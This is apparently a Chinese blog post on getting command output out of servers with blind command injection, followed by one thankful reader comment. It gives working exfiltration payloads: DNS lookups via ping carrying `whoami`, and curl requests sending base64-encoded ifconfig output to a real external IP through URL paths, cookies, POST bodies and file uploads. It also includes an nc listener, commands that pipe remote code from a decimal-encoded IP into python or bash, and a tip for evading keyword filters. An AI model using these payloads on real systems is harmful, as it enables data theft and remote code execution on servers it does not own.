偶尔走失,从未离开

本文将介绍几种将执行结果向外传输的方法

文章目录:

命令执行无回显

在遇到命令执行类的场景时,我们经常会遇到无法得到回显的情况。

这时候我们需要通过带外信道将我们的执行结果发送出去

0x01 反弹一个shell

如果权限足够,反弹一个shell回来是我们的首选

反弹shell的方法很多,这里就不说了,遇到这种情况一般权限就很高了。

0x02 DNS隧道

首先将命令执行结果进行编码,如果不编码,空格将大大影响我们payload的执行,然后利用DNS隧道传输出去

但是该方法是有局限性的,因为子域名长度最长为63,数据经过base64之后大概会变大1.3倍。

在该限制下,只有在回显长度(base64之后)小于63时,我们才能收到结果。

我们有3个命令去带出命令

1.ping 命令

ping `whoami`.84863e3001.0.ubook.pub

但是,该方法很鸡肋,当我们使用base64编码时,常常会出现=,这时候ping将报错(curl不会),不使用base64报错就更多了

只有个别命令可以成功

2.wget

使用该方法时,如果不进行base64,它将会认为每一个空格隔开的输出都是一个网址。

最终只有最后一个输出和后面的域名组成了一体,传输了出来。

如果进行base64,它会将大写全部转为小写......所以说很无奈。

3.curl

这个方法应该是最稳定的了

为了避免空格,换行等特殊字符的出现,所以我们仍然要对其base64

当长度小于63时,将一切正常,然而当长度超过63时

将以每一行为单位,逐行提示错误(每一行长度为76),直到遇到一个符合长度的,然后将它带回来。

长度的限制是很难解决的,在每一行的长度不是很长时,可以尝试

|head -n 1

后面我们就只以curl为例

0x03 web日志

该方法受到的限制就少了许多,

1.url请求长度有足够的长度

2.请求中有换行时,将不包含之后的内容,也就是说,一个请求中包含一行的内容(76)

3.请求中可以包括=

所以,我们使用该方法基本执行任意命令,并且得到它们的回显,只不过每次只能得到一行。

curl 118.89.217.55/`ifconfig|base64|head -n 2|tail -n 1`

0x04 更简洁的方法

第二种方法基本上已经可以满足我们的需求了,那有没有更简单的方法呢?

查阅curl的文档得知,其--date参数可以将文件中的内容作为POST的数据传送

vps监听端口:

nc -lvp 2334

服务器执行:

ifconfig > a

curl --data @a 118.89.217.55:2334

甚至不用base64,当然编码了肯定更好

那其它地方可以带出来数据吗?

  • -T 参数

向服务器上传文件

curl -T a 118.89.217.55:2335

  • -b 参数

指定参数和值,或者是从文件中指定。

在该参数的情况下,我们不能用从文件中指定,因为文件开头必须要有 xxx= 而这一点并不容易办到,因为>>会有一个换行。

所以我们直接将参数带出去就好了

curl -b "name=`ifconfig|base64`" 118.89.217.55:2335

0x05 无写权限时

可以直接让python执行

curl 1985599799 | python

BASH同理

更酷的姿势:

curl -b `curl 1985599799 | bash|base64` 118.89.217.55:1234

没有写权限,过滤了重要命令的关键字时,用上面的payload可以完美解决

参考文章:

http://blog.csdn.net/cd_xuyue/article/details/52121302
http://www.cnblogs.com/gbyukg/p/3326825.html

 标签: 命令执行

作者  :  watcher


仅有一条评论

  1. leolong leolong

    正为这个问题发愁,突然搜到这篇文章。
    特意留言,表示感谢!

添加新评论